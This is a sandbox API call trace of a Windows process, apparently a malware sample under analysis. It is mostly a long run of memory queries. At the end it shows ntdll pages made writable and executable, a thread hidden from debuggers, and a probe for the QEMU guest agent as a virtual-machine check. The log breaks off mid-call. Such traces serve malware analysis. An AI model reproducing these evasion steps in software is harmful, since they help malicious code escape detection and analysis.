VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xca000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xcb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xcc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xcd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xce000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xce000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xcf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xca000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xd9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xda000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xda000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xdb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xdc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xdd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xde000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xdf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xba000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xe9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xea000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xea000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xeb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xeb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xec000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xaf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xed000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xed000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xae000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xee000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xad000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xef000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xef000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xac000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xab000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xaa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xf9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xfa000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xfb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xfc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xfd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xfe000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.520] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xff000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x100000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x101000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x102000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x102000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x99000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x103000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x103000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x98000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x104000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x104000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x97000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x105000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x105000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x96000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x106000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x106000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x95000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x107000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x107000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x94000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x108000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x108000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x93000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0195.499] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0195.499] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0195.499] LoadLibraryA (lpLibFileName="user32") returned 0x750c0000 [0195.499] EnumWindows (lpEnumFunc=0x1c01ba, lParam=0x19f758) returned 1 [0195.505] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0195.505] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0195.506] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0195.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19f740*=0x77971000, NumberOfBytesToProtect=0x19f744, NewAccessProtection=0x40, OldAccessProtection=0x19f748 | out: BaseAddress=0x19f740*=0x77971000, NumberOfBytesToProtect=0x19f744, OldAccessProtection=0x19f748*=0x20) returned 0x0 [0195.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19f740*=0x77971000, NumberOfBytesToProtect=0x19f744, NewAccessProtection=0x20, OldAccessProtection=0x19f748 | out: BaseAddress=0x19f740*=0x77971000, NumberOfBytesToProtect=0x19f744, OldAccessProtection=0x19f748*=0x80) returned 0x0 [0195.629] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0195.638] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0195.703] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0195.704] CreateFileA (lpFileName="C:\\Program Files\\Qemu-ga\\qemu-ga.exe" (normalized: "c:\\program files\\qemu-ga\\qemu-ga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.705] CreateFileA (lpFileName="C:\\Program 